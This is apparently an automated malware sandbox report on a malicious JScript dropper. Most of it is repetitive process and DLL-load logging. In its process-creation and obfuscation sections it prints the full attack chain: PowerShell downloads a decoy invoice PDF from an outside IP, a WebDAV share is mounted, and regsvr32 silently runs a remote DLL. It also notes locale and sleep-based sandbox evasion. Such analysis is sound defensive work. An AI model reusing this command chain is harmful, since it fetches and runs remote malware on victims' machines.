Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3988.js.csv");ITextStream.WriteLine(" entry:8153 f:uctuced");ITextStream.WriteLine(" exec:2 f:uctuced");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4314			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3300	Thread sleep count: 4314 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3300	Thread sleep count: 5477 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3620	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1188	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1800	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7316	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1784375423.0000027F55778000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000002.1784375423.0000027F557E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3005249751.000001B7C305A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3003598678.000001B7BDA27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
